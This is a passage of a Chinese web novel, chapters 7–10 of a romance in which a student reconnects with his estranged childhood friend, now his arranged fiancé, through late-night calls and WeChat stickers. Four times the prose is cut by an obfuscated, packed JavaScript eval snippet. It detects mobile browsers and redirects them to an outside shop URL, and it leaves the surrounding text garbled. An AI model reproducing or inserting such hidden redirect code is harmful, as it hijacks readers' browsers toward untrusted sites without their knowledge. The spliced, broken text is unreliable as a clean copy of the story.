凌含真“嗯”了一声,垂下眼,说不清是失落还是庆幸。 果然不是,明栖深最近忙着呢,哪有时间找他,如果他们是普通的联姻对象,还能轻松许多,毫无负担地见面吃饭接触磨合,可惜他们不是,破冰最艰难的就是第一步,谁都不知道该怎么迈出去。 赵言铭难得说了条真理,这两天的广告电话确实很多,他们在甜品店度过的一下午,三个人都接到了好几通骚扰电话,不是旗舰店上心折扣,回馈老客户,就是电信诈骗,凌含真一开始还抱有一丝丝希望,一个个都认真接了,又在一次次的失望中心如死灰,最后已然彻底冷漠,按了静音,耳不听心不烦。 晚上三个人一起吃饭,凌含真在专心选菜,挑挑拣拣自己勉强能入口的,手机又亮了,赵言铭看见,便贴心地帮他拿了过来直接挂断,还没放回去,又看见屏幕上发来一条陌生号码的短信:我是哥哥。 赵言铭震惊不已,凌含真是独生子,哪来的陌生号码的哥哥,这种情况官方天天宣传,是仙人跳诈骗,如果回了对方“找错人了”,对方就会回“巧合就是缘分”之类的话,借此接近,下套骗钱。 好嚣张的骗子,打电话不成还发仙人跳短信,凌含真那么认真的人,肯定会回复的,幸好有他在,锐利地识破了阴谋,阻止了一场诈骗危机。 “有个嚣张的骗子给你发仙人跳短信,真是世风日下。”他愤愤地告诉凌含真,“我帮你拉黑了啊。” 凌含真觉得没胃口,皱着眉挑来挑去,头也不抬道:“嗯。” 他用的还是锁屏密码,赵言铭是知道密码的,刚想帮他拉黑,又觉得这个骗子“哥哥哥哥”的太恶心,于是给对方回了条短信:哥哥,你羊尾的事我是不会乱说的,但你也不要再找我了,治不好,真的治不好,一般情况还好说,但你实在太小了,有跟没有一样,我认识的医生都说没救了,人生路还很长,千万别想不开啊。如果你觉得太麻烦我而心里愧疚,就给我打十万块钱,我的支付宝是1xxxxxxxxxx。 他发送完就拉黑了对方,为自己又做了一件正义的好事而高兴自豪。 晚上八点,凌含真回到了学校附近的房子,这一天什么也没有干,但还是觉得尤为疲累,他洗完澡便上了床,准备看会小说再睡觉,哪知刚躺下,宋雨溪的电话打了过来。 已经将近十点了,宋雨溪知道他睡得早,一般不会这么晚打电话过来的,除非有什么急事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105541|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他心里讶异,接听后问:“怎么了阿姨?有什么事吗?” 对面安静了几秒,才有声音传过来:“真真,是我。” 凌含真瞳孔骤缩,动作定格,霎时大脑一片空白。 少年和青年的声音是有变化的,但不是很大,从前清朗明快,像夏日操场上飞奔的风,而现在经过时间的打磨,变得低沉稳重,听不出感情。 熟悉的,却又是……陌生的。 短短几个字,如一颗迟到的流星,裹着尘封的过去,跨越九年的时光,终于坠落在他面前。 往事如幻梦,破灭不可追。 *** 晚上八点多,赵言铭也悠闲地回到了自己的家。 客厅里灯火辉煌,大概有客人,他高高兴兴地走进去想瞧瞧是谁来了,却并没有看到外人,只有他的大哥二姐坐在沙发上,听到动静后齐齐转过头盯着他。 “大哥,二姐,你们都在呢?”他毫无所觉地打招呼,“今天谁来了啊你们在这里等?” 赵言诗冷笑:“等谁?等的就是你!” 赵言铭心中大骇,这句话一出,就代表他要大难临头了,他下意识扭头想跑,又没那个胆量,只能硬着头皮站住,低头不敢言语。 赵言泽叹了口气:“铭铭,你最近很缺钱吗?” 赵言铭一愣:“不缺啊,我又不买什么贵东西。” “不缺钱怎么跟人借钱呢?”赵言泽耐心问,“一个小时前,明总打电话给我,说你找他借了十万块钱,他本来想直接转给你的,但考虑到你还是个小孩子,十万块虽然不多,但小孩要钱还是得问个缘由的,明总也是好心,让我问问你是不是有对象了,还是怎么着,毕竟你也不是真的小孩子了,有不少要花钱的地方。” “哥你别把他当小孩子哄了。”赵言诗憋不住朝赵言铭怒目而视,“家里缺你钱了?!要不是明七缜密,好心把这件事告诉我们,我们还蒙在鼓里呢!你疯啦借钱能借到明七头上?!我今天非要搞清楚你到底在外面干了什么见不得人的勾当!” 赵言铭完全懵了,根本听不懂他们在说什么,他什么时候找明七借过十万块钱了?!他什么时候跟明七有来往了?! 直到他被家法追得四处乱逃,才在艰难求生中慢慢反应过来,他今天似乎真的干了一件了不得的事。 凌含真是独生子没错,可的的确确是有个异父异母的干哥哥啊! 7.第七章 刚酝酿起来的一点睡意全然消失散,凌含真从床上坐起来,连呼吸都是小心翼翼的,生怕重了急促了让对面听到,泄露了自己此时的情绪——虽然他并不知道自己现在是什么情绪,他已经停止了思考,甚至失去了说话的能力,几次尝试着开口声带都未能震动,他幻想过、预设过、编排过无数次重逢的对话和场景,以及那些看过的小说和做过的笔记,都被对方简单一声“真真”击溃,土崩瓦解,没有起到任何作用。 沉默半晌,他终于机械般轻轻叫了一声:“小七哥哥。” 这个称呼伴随着心底积蓄的一部分压抑一起吐了出来,脱口而出后,他又有些后悔,因为觉得长大后还这么喊,多少有些不合适了,可现在一片空白的大脑也想不出其他,完全依赖本能,毕竟这是他曾经的专属称呼,还是他从别人手里抢过来的。 一开始他是跟寻常小孩一样叫“哥哥”的,可六岁时,明栖深家里来了客人,带了个嘴很甜的六岁小孩,一直黏在明栖深身边,“小七哥哥小七哥哥”叫个不停,他当时正好也在,明栖深为了照顾客人,被对方吸引了大部分注意力,对他有些忽略,让他觉得十分低落,话也比平时少。 明栖深并没有意识到他的异样,甚至带着他们两个六岁小孩去花园里玩,想让他们交朋友,却对方实在黏人又热情,衍变成明栖深陪对方玩,等明栖深反应过来的时候,已经找不到他了。 明栖深这才慌了神,到处都找遍了也没发现他,只能告诉家长,于是所有人都得停下手中的事来找他,最后通过监控在家附近的一棵树下找到了他。幸好他还小,一小截路就觉得已经是十万八千里,算是离家出走了,被树干一挡,确实很难发现。 找到他的时候,他正在树下抱膝而坐,看蚂蚁搬家,见大家都过来了,便指着地上的一只蚂蚁说:“它在这里转了好久,可能迷路了。” 明栖深气得不行,直接斥责他:“自己跑出来玩也不知道说一声?要是被拐走了怎么办?!” 他抬头定定看着对方,忽然像爆发了一样,“哇”地一声哭了出来,哭得无比伤心,一边抽噎一边断断续续控诉:“你有别的弟弟了,就不要我了,那我也不要你了,我不要当你弟弟了,我不认识你了……” 他哭得上气不接下气,脸涨得通红,全是泪,一边重复着“我不认识你了”这句话,要把满腔的委屈和哀怨倾泻出来,看着实在太可怜,明栖深便愣在了原地,剩余训斥的话都吞了回去,取而代之的是对他忽视的愧疚。 那天明栖深剩下的时间都用来哄他了,又找了一天假期陪他去游乐园玩,他才回心转意,跟对方和好,并定下规矩:“以后只有我能叫你小七哥哥,不许别人再这么叫你了。” 他就再也没有从别的小孩口中听到这个称呼,光明正大地抢了过来。 大概这个称呼太过遥远陌生,明栖深也在愣神,直到他从回忆中抽离,才听到对方一声低低的“嗯”作为回应。 他握着手机,慢慢往露台上走去,拉开窗帘和门,晚风立即裹挟着水汽扑面而来。 又是沉默,好像谁也找不到下一句话怎么说。 今晚的雨比平时都要大,他在潮湿的雨夜中慢慢清醒,绞尽脑汁想到了打破尴尬的话题:“你……” “我……” 偏偏对面似乎也终于找到了话题,两个人同时开口和噤声倒是分外默契,又沉默片刻,明栖深咳了一声:“你说。” 凌含真没有再跟他在这种事上谦让:“你怎么用阿姨的手机?” 明栖深道:“她说你从不接陌生号码的电话。防骗意识很不错。” 后一句赞扬语气明快些许,连带凌含真紧绷的心也放松不少,于是笑了一下:“那你……你手机号多少,我存一下,就不是陌生号码了。” 明栖深道:“我下午给你打过电话,你把我拉黑了。” 凌含真愣住:“什么时候的事?我根本没有收到你的电话啊?我下午收到了三个电话,全是打广告的,根本没……” 明栖深提醒他:“下午快六点的时候。” 凌含真猛然想起来,那时他好像是接到过一个陌生电话,只不过是赵言铭接的,当成诈骗电话给拉黑了。 他一时梗住,怎么也没想到,留意了一下午,最不可能的一个反倒是真的那个,只能先慌张解释:“不是,当时手机不在我这里,在别人那,他以为是诈骗的,就给拉黑了……” 明栖深笑了笑:“我知道,是小马。” 凌含真惊讶:“你怎么知道?” “他给我发了条短信,留了支付宝找我勒索十万块。”明栖深平静道,“我搜了一下那个号码,你身边名字里有‘铭’的只有他,就跟他哥说了一声。” 凌含真脱口而出:“你怎么又干坏事。” 他之所以想都没想就这么问,是因为他既了解赵言铭,又了解明栖深,赵言铭不可能会真勒索的,顶多是发点恶作剧短信调戏一下骗子,脑子又不会转弯,留了真实信息;而明栖深表面上宽容大度,实则十分记仇,睚眦必报,最擅长黑装白,祸害了别人还会让对方觉得他是帮自己的好人,感恩戴德。 他根本不用了解经过,便可以直接判定对方在害人。 赵言铭家里管他比较严,铁定要被坑得挨打。 明栖深道:“他骂我。” 这句话没什么情绪波动,仿佛只是随意的陈述,可凌含真还是听出了一丝控诉的味道。 他们毕竟曾经太熟悉了,熟悉到就算分别多年,也能从一句话中嗅到本质。 凌含真难以想象赵言铭会骂人:“他骂你什么了?” 也许是这一丝控诉,他的问话愈发自然了起来。 明栖深道:“太脏了,我说不出口。” 凌含真轻轻吸了口气,能脏成什么样才会让明栖深也难以开口。 “他不是在骂你,他以为是诈骗的骗子,骂的是骗子。”他试图为对方辩解,踌躇着,“那我代他向你道歉,你别为难他了,行吗?” 明栖深道:“不行。” 凌含真便换了种说法:“那我代他向你道歉,你别生气了,行吗?” 明栖深随意道:“那行吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120997|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个人都同时笑了一声。 凌含真还是了解对方的,第一句话不满意在他道歉的原因是为了外人,第二句他关心了对方生不生气,才算合格。 “下周五下午几点放假?”明栖深问。 “差不多三点半能结束。”他回答。 “行,到时候我去接你。” 凌含真心头猛地一跳,说话都有些吞吐:“接我?干什么?” 明栖深道:“下周五日子不错,去领个证?” 商人大多都在意日子吉凶,他也不能免俗。 这句问话尾调上扬,语气轻快许多,凌含真的大脑又被堵住,一时间没有反应过来:“领什么证?” 明栖深笑:“结婚证。” 凌含真才有所平复的心跳又开始杂乱无章,比刚接到电话时还要剧烈,仿佛有根棍子在他脑子里搅来搅去,把他的意识搅成一团浆糊,好半天才“嗯”了一声,又干巴巴补充:“带……带什么?” “身份证,户口本,无配偶证明。”明栖深说完,又开玩笑一般补充,“还有你本人。” 凌含真无法反驳,毕竟他小时候的确干过不愿意上学让玩偶代替他去上的事。 “那就这么说好了。”明栖深松散道,“你是不是要睡觉了?” “嗯……” “现在不熬夜了?” “早就不熬夜了。”凌含真一板一眼回答,“我现在晚上十点半睡觉,早上六点半起床,练半小时基本功,七点吃早饭,然后去上学,中午十二点午睡半小时。” 这是他精心调制过的作息时间,他觉得很满意,于是说得有点多。 “记住了。”明栖深说,“记得把我从黑名单里放出来存上,微信也通过一下。” 凌含真干巴巴应了。 “那……晚安。” 他的语气很轻,甚至称得上极致温柔,就像很多年前,他也是用这样的语气哄凌含真睡觉的,以致于凌含真恍惚到分不清今夕何夕了,握着手机许久才想起来回一声“晚安”。 肯定已经听不到了,他这么想着,心里分外怅然若失,低头准备把明栖深从黑名单里放出来,一看手机竟然还在通话中,又忙贴回去:“不挂吗?还有事吗?” 明栖深反问:“不是你先挂吗?” 凌含真缄口,这是他定的规矩,他们通话一定要是他先挂电话才行,不然他会很伤心很失落。 他以为早已经不作数了,全都不作数了。 他又轻声说了句“晚安”,挂了通话,却觉得更加怅惘空落,望着苍茫雨夜里零星的灯光,发了好一会儿呆,才重新关门拉窗帘,躺会床上。 已经快十一点了,珍贵的生物钟罕见没有光顾,他比白天还要清醒,眼睛闭上也睡不着,脑子里乱糟糟的,也不知道在胡思乱想什么,索性又拿起手机,先做最要紧的事:把明栖深从黑名单里放出来,犹豫了一下才存成“小七哥哥”,又去看短信记录,想知道赵言铭到底骂了什么脏话。 他倒吸一口凉气。 ……骂得确实太脏了啊。 8.第八章 凌含真打开微信,果然收到了一条好友申请,便直接通过了。 让他惊讶的是,对方的昵称头像都没有变,为什么呢?看着不会膈应吗? 说起来,还是他自己主动删的好友呢,虽然那时和不删也没什么区别了。 他看着失而复得却空荡荡的聊天框,又开始紧张起来,心抵在喉咙里,怎么也沉不下去。他现在已经是个成熟的大人了,不能再像小时候一样任性,应该主动一点,去打破这个僵局——即使他们刚刚互道过晚安,他还是涌起迫切的渴望,渴望得到更多对方的消息,一句话一个字,都能让他激动许久。 他绞尽脑汁,还是想不出如何开口,尽管他有许多问题,比如为什么还要送他城堡,比如为什么没有换头像和昵称,可这样直白的问话,就像在强行打破过去和现在的壁垒,去剖开无人提及的过往,他现在还做不到。 他想,明栖深肯定也是不愿意的。 最后,他终于找到了现代人万能的开场白:表情包。 许聆每次有事找他都会发一个乖巧小猫的表情包作为开头,他飞快打开跟许聆的聊天记录,找到那张图,顺利偷走保存,毕竟他自己没有存过表情包。 然后发给明栖深:【乖巧小猫.jpg】 【现在喜欢猫了?那还喜欢狗吗?】 明栖深回得很快,快得让他有种对方也在盯着聊天框纠结怎么开口的错觉。 他以前是喜欢狗的,可妈妈比较怕狗,他只能拜托明栖深帮他养一只,他一有空就去对方家里看看。 他回:【都喜欢,都很可爱】 【要养吗?图片上的品种?我回头让人留意一下,挑两只性格乖一点的幼崽】 凌含真果断拒绝了:【不要】 他们养的那只小狗是只路上捡的流浪狗,他一眼就相中了,极其喜欢,可命运无常,那只小狗生了严重的病没救活。那是他第一次直面生命的死亡,根本无法接受,哭了好几天,许久都没能走出伤心的低谷,后来那只小狗的骨灰被撒进海里,因为它生前最喜欢在海边玩,算是做了海上的精灵。 他也再没养过宠物,现在更是承受不起目睹生命消亡的疼痛了。 他拒绝完又觉得好笑,对方比以前还要敏感,自己只是发个表情包,就要给他弄两只真的回来。 明栖深只回了一个“好”。 他的头像一直在眼前晃,着实太过刺眼,凌含真瞧着难受,到底忍不住,还是问了出来:【你怎么还是这个头像】 明栖深:【你没让我换啊】 没有得到指示,他擅自做主换掉,务必会招来大闹。 这个头像还是以前凌含真特意找了画师画的,跟明栖深一人一个,是西幻风格的王子和骑士,他自然是那个王子,而明栖深则是守护他的忠诚骑士。 他自己的早就在决裂后换掉了,眼不见心不烦,没想到对方的竟然一直保留了这么多年。 分别并不轰轰烈烈,闹得天下皆知,它是一场持久的、悄无声息的大雾,没有谁说“我们绝交吧,不要再来往了”这种明确的话,只是在一次次的沉默和无视中渐行渐远,彼此默认了决裂的结果,他自然不会特意跑去说一句“把我的头像换掉”。 或者明栖深并没有用常用的号来加他,只是用一个沉寂多年的旧号来敷衍他,他思来想去,还是觉得这个事实更加合理。 没有标点表情辅佐的文字,无法结合当事人的语气,干巴巴打出来总有种冰冷的味道,于是这句回复在凌含真看来就是斥责,不仅是斥责这一行为,更是斥责他那任性骄纵蛮横霸道的过去。 他心里觉得内疚,于是发过去一条“对不起”。 明栖深回了他六个点。 【没怪你,我开玩笑的】对方很快又发消息过来,在试图解释,【确实没注意过,就用着了】 凌含真问:【因为这是你不用的小号吗?】 【……不是,私人号,一直在用】 【我的已经找不到了】凌含真慢吞吞打字,还是不信他的话,【你不喜欢的话,就换掉吧】 明栖深;【那再找人画新的吧】 凌含真;【嗯】 短暂的沉默后,明栖深问:【又生气了?】 【我没有生气】凌含真回,把自己刚刚想到的问题告诉他,【我觉得我们会产生这样的误会,是因为只通过文字交流,辨别不出语气,还得揣摩对方到底是在生气还是玩笑,这样太麻烦了,所以我建议,以后在进行文字交流的时候,都添加上表情,比如这样[大拇指][大拇指][大拇指]这是夸赞的万能表情,基本什么情况都可以用】 明栖深:【好[大拇指][大拇指][大拇指]】 他的现学现用让凌含真很满意,于是又教给他一些网络交流小技巧:【但有的表情是不可以用的,比如这两个[憨笑][呲牙]这种笑在网络中是嘲讽骂人的意思】 明栖深:【……嗯,我还没断网】 凌含真:【你在嘲讽我吗[委屈]】 明栖深:【……不是】 明栖深:【乖巧小猫.jpg】 连偷表情包都这么熟练,凌含真觉得他可以出师了,于是没有再继续传授他经验,并回了他三个大拇指。 明栖深也回了他三个大拇指。 凌含真十分满足,又叮嘱他:【你不要欺负小马了,跟他家里说一声吧,是误会,不然他要挨骂了】 【嗯】明栖深应了,【行了,快睡觉吧,已经十点半了】 明栖深:【小猫晚安.jpg】 他学以致用的速度太快了,居然这么快就用上了新的表情包,凌含真甚至追不上,只能偷了这个新表情包发给他,又觉得自己落后了一截,于是切入男同群聊:【给我发点表情包】 十点半正是大多数年轻人的活跃时间,他一问话,大家纷纷停止原本的话题,表达自己的震惊:【你还没睡?!】 【咋?婚前焦虑症?不会明七找你了吧?】 【你要别的兄弟可能真拿不出手,但是要表情包管够的】 凌含真惊讶于司浔的敏锐,竟然一句话就看破了真相,正犹豫要不要如实相告,就被浪潮般的表情包刷了屏,三个人一口气刷了几百条,他眼花缭乱,根本看不过来,挨个挑着,就忘了要回复之前的问题。 他一一把几百个表情包看完,陷入了沉默,要不是些古怪的熊猫头,要不就糊到几乎看不清,要不就不堪入目,辣人眼睛,竟然没有一个正常能用的。 不行,绝对不行,他要是发这些东西给明栖深,对方一定会觉得他是个变.态。 犹豫了一下,他还是拒绝了众人的好意:【有没有普通一点的表情包?小猫小狗一类的就好】 小猫小狗的表情包就少多了,只有一百多个,但凌含真要求不高,这些足够他用了,于是他表达了诚挚的谢意。 鱼鱼:【小马怎么这么沉默?他表情包不是最多的吗?都交出来啊】 铭铭:【谢邀,刚拿到手机,经历了一场有惊无险 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129540|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的灾难,你们都不知道有多离谱】 卷卷:【说说,让兄弟们高兴高兴】 谢奕清跟司浔都跟着复制了一遍,凌含真没好意思复制,毕竟算是他间接造成的,但看到赵言铭说有惊无险便放心了,看来没有真的挨打。 铭铭:【我组织一下语言,我现在脑子都是乱的】 铭铭:【事情是这样的,下午我跟阿卷阿真在外吃饭,阿真收到了一个陌生号码的来电,我帮他挂断了,那个号码又发了条短信说‘我是哥哥’,我就想阿真哪来的哥哥,这不铁诈骗嘛,就给那骗子回了条短信,让哥哥给我打十万块钱,留了我的支付宝,就把骗子拉黑了】 卷卷:【说你没脑子,你还知道是诈骗,说你有脑子,你给骗子留真实信息,我都不知道怎么说你,有你这种儿子真是家门不幸】 鱼鱼:【有你这种儿子真是家门不幸】 豆豆:【有你这种儿子真是家门不幸】 铭铭:【是的,他打了,还是三倍】 三个人同时发来问号。 铭铭:【我晚上回家,看到我哥我姐在等我,一回来就骂我怎么跟明七哥借十万块钱,明七哥还打电话跟他们确认了,我当时就懵了,我什么时候跟明七哥借过钱?在躲我姐的毒打的时候,我才想起来,我不是跟骗子要了十万块钱吗?明七哥可不是阿真的哥哥吗?那原来不是骗子,是明七哥的电话!我不但给拉黑了,还骂了人家!@真真对不起宝,我一定请你吃饭赔罪】 铭铭:【然后我一通解释,他们算是信了,暂时没有打我了,但要我给明七哥打电话道歉,我就打了,我的天,明七哥可真好啊,声音真好听真温柔啊,不但没有怪我骂他,还关心我是不是缺钱了,又夸我防骗意识好,说阿真跟我一起玩肯定很安全,还给我转了三十万块钱,让我在外上学不要太辛苦,我的天,我羞愧得脸都红了,眼泪都要掉下来了,阿真能跟这样完美的好男人结婚,余生还有什么可愁的!】 卷卷:【接土豪莫名其妙给我转30万】 鱼鱼:【接土豪莫名其妙给我转300万】 豆豆:【接土豪莫名其妙给我转3000万】 真真一边看一边笑得不行,是典型的小七式风格,也跟着复制:【接土豪莫名其妙给我转3个亿】 铭铭:【你不用接了阿真,你的豪来了,我誓死捍卫你们的婚姻!】 鱼鱼:【等一下,真宝,明七找你了?你要表情包不会是给他发吧?】 凌含真一板一眼回答:【对,但我不知道跟他说什么,只能发点表情包了】 卷卷:【分享歌曲:最熟悉的陌生人】 卷卷:【分享歌曲:十年】 豆豆:【别分享了,太虐了,哥们要哭了】 鱼鱼:【别说了,昔日最要好的兄弟一别十年,变成了最熟悉的陌生人,竟然只能靠表情包尬聊,太虐了,哥们要哭了】 卷卷:【今天开始这两首歌本群循环三十天,下次聚会谁不会唱谁买单】 铭铭:【分享歌曲:今天你要嫁给我】 铭铭:【你们在说啥呢,当然要听这个啊,人家结婚呢你们虐来虐去的扫不扫兴啊】 卷卷:【睡吧孩子,这就是有30万和没30万的区别】 凌含真笑得更欢畅,只觉这段时间胸腔中积存的郁结清扫了一大半,他一直在忧虑紧张跟明栖深重逢会有多可怕,可这一天真正到来时,才发现,似乎也没有想象的那么糟糕。 完了,这下更睡不着了。 9.第九章 凌含真又尝试了闭眼十分钟,还是睡不着,他没办法做到放空大脑,更没有办法平复悸动的心,他脑子里全是跟明栖深今晚的对话,一遍一遍在脑海中循环播放着,明栖深就是一块巨石,落入了湖水中,把他平静的生活砸得乱七八糟。 他还是很想跟明栖深说话,仅仅是互发表情包也好,只要能看到对方的消息,他就会很开心。 可惜他们已经道过两次晚安了,今晚是找不到理由再说话了。 他又忍不住摸出手机,点开对方的头像,偷偷查对方的朋友圈,显示仅三天可见,而三天内对方并没有发朋友圈,一片空白。 他失望地叹了口气,只能返回,从头看两个人的聊天记录,聊的时候还没有意识,现在重新看,才发现他们的对话是如此无聊和尴尬,就像是两个刚认识的相亲对象在强行没话找话一样。 这是真正的先婚后爱,他得出了总结,刚认识的相亲对象都没有这么尴尬。 虽然暂时还没有爱,以后也不一定会有。 尽管如此,他还是一遍一遍不厌其烦翻着,几乎要把对方的话背下来,直到不小心点了两下对方的头像,手机轻微震动了一下,他才意识到大事不妙。 【我拍了拍“小七哥哥”】 他紧急想要撤回,已经来不及了,因为明栖深给他发了消息:【还不睡?】 回得也太快了吧,好像一直盯着手机似的,他想,对方应该没有闲到这种程度。 【我睡不着。】既然已经暴露了,他老老实实承认,【你怎么也还不睡,都11点了】 明栖深:【还在加班】 果然很忙,凌含真发去了关心的慰问:【不是太紧急的话明天再做吧,不要熬太久,会猝死】 明栖深:【……也不用这么咒我】 凌含真:【对不起,我没有这个意思[委屈][委屈][委屈]我只是想说很伤身体[委屈][委屈][委屈]】 明栖深:【没怪你】 明栖深:【怪我,忘加表情了】 明栖深:【小猫委屈.gif】 不但是新表情包,还是会动的。 【所以我还是更喜欢打电话。】凌含真小小抱怨了一下,【可以听到语气,不然文字交流我根本不知道你是什么态度】 如果是熟悉的人还好,不熟悉的人,很难判断出来。 他的消息刚发出去,明栖深的语音通话就打了过来,他愣了十几秒,才慌慌张张点了接听,小心翼翼放在耳边。 “怎么睡不着?” 声音在寂静的夜晚分外清晰,如同岸边的柳枝垂到了水面,漾起浅浅的涟漪。 凌含真觉得耳朵有点发烫,赵言铭说得没错,对方的声音的确很好听。 他翻了个身侧躺着,身体蜷缩起来,是个偷偷摸摸的姿势——虽然他也不知道晚上跟未婚夫打电话有什么好偷偷摸摸的,但就是觉得这样有安全感。 “不知道。”他踌躇着,一边思考一边慢吞吞阐述着事实,“大概是因为你晚上突然联系我,刺激了我的肾上腺素,让我的情绪波动很大,到现在都没能平静下来。” “知道了,都怪我。”明栖深笑了笑,“我白天可能来不及给你打,下次尽量早点,不耽误你睡觉。” “不怪你。”凌含真大度道,“这是受到刺激的正常反应,没办法,以后早点就行了。” 明栖深虚心接受了他的教诲:“还有什么要注意的?我一并记下来。” “没什么了。”凌含真道,又没话找话,“小马说给你打电话了,你还给他转了三十万。” 他一边说着,一边爬起来开灯找耳机,虽然房子里没有别人,他还是觉得在寂静深夜里的聊天声太突兀了,有种莫名的赧然感。 明栖深道:“不是你让我别欺负他了吗?” 他说话总是带着笑意,果然要比冰冷的文字交流好太多了,凌含真听着就觉得开心:“没什么,我就问问。” 明栖深问:“你缺钱吗?我给你办张卡。” “不用。”凌含真赶紧拒绝,“我花不了什么。” 明栖深道:“好。” 又陷入了沉默,凌含真暗中感慨,真的好像刚认识的相亲对象啊,试图用冰冷的金钱建立起关系。 他戴上耳机后,又觉得后悔,明栖深的声音近得好像贴着他的耳朵说话一样,直接传递到他的脑海,有种酥麻的痒意,他的耳朵已经烫得不行了。 他听见沉默其间对面的鼠标点击声,看来还在加班。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129541|149615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小马还说你跟他说话时声音很温柔。”他别别扭扭吐出自己在意的问题,“有多温柔?” 明栖深笑:“就现在这样。”继而传来椅子挪动声和收东西的声音,“我结束了,你怎么办?明天周一了,不能不睡。” 他放轻了声音,比刚才要温柔一些,凌含真叹了口气:“你睡吧,我再试试。” 明栖深想了想:“我找点书给你读?” 他以前睡前就是这么哄对方睡觉的。 凌含真犹豫了一下:“也行,读什么?” 他听到走动的声音,以及翻书声,明栖深的声音随即响起:“《基督山伯爵》?” “这个不行。”凌含真果断否决,“复仇爽文听着听着更激动了。” 明栖深道:“我看看还有什么。《鲁迅全集》?” “也不行。”凌含真道,“会调动爱国情怀,更不利于平复心情入睡。”他思考了一下,“找点没有什么情绪波动的。” 又是抽书声:“黑格尔的《自然哲学》。” 凌含真:“……这个可以。” 确实足够枯燥,容易入睡。 他挑挑拣拣,总算是确定了下来,于是重新关灯躺下,找了个比较舒服的姿势,闭上眼睛,很快明栖深读书的声音就在他耳朵里响起。 明栖深的声音放得很轻很平缓,像是夜色中迷蒙的雾,蘸了些许月光,混着一点潮湿的水汽,在他的脑海里慢慢弥漫着,不知不觉抚平了全身。 在很久以前,他就是听着这样的声音安然入眠的,于是现在也似乎回到了无忧无虑的小时候,没有烦恼,充满来自各方的爱意,眼睛一闭上就是美梦。 那雾气还在蔓延着,悄无声息地潜入了他的梦中,因此他的梦也是平静的,朦胧的。 他的呼吸也渐渐平缓了,绵长了,明栖深听着,渐渐噤了声。 安静片刻后,他试探性叫了一声:“宝宝?” 没有回应,应该是真睡着了,他的任务算是圆满完成。 他将手机放在一边,没有打算挂断,但从书房出去的开门声又带起了些许动静,于是想了想,还是挂断了。 虽然只说了两次晚安,但实际上,今晚一共有三次。 一夜好梦。 10.第十章 几乎每个周一都是人最忙碌的时候,积攒了一大堆事需要处理,明栖深整个上午都没有一刻是闲着的,中午十二点十分,他才得到了午休的机会,草草吃完午饭后,他明显变得焦躁起来,几乎每分每秒都在盯着手机看,时不时在办公室来回走动,站在落地窗前,眺望远处的安回江。 他今天的行为实在太异常了,以至于秘书小姐和两位助理都忍不住侧目,直到一点整,他的焦躁行为才有所收敛,站在窗边垂眸发手机消息,脸上的神态也变得柔和了。 他卡的时间刚刚好,一点整,是凌含真告诉他的午睡起床时间,于是他发了一条问句:【起床了吗?】 凌含真是在一分钟后回答他的,导致他又煎熬了一分钟:【刚醒】 他想了想,直接拨通了语音电话过去。 这也是凌含真定下的规矩,电话信息都得他来主动打主动发,并给出了一大堆理由;又或者冷战了,小朋友面子大得很,不好意思主动求和,每每都需要他来破这个冰。诸如此类琐碎的规矩数不胜数,他不止一次说对方麻烦精,但还是会按照对方要求的去做——虽然规矩多,但做起来,却只是改变生活中的各种细节,时间一长,也就习惯了。 习惯是深入骨髓的毒药,很难改掉,就算沉寂多年,只要有朝一日被呼唤,苏醒后便会不由自主地去遵守。 凌含真照例迟了十几秒才接电话,开口一声“喂”黏糊糊的,一副明显刚睡醒的模样,明栖深顿了顿,问:“醒了?下午要去学校吗?” “要。”凌含真道,“有两门选修课考试,还有十分钟我要出门。” 潜在意识是,给明栖深十分钟通话的时间。 明栖深笑:“好,知道了,也没什么事,就是告诉你我下午要去临双出差三天,可能都没办法给你打电话了。” 他听见凌含真长长吸了口凉气,随即惊叹道:“那么久啊?” “嗯。” 那边沉默片刻,凌含真才问:“你是不是经常要出差,天天往外跑,夜夜要加班,从来不回家。” 明栖深:“……也没有那么惨。” 凌含真拉长了一声“哦”,明显带着失望。 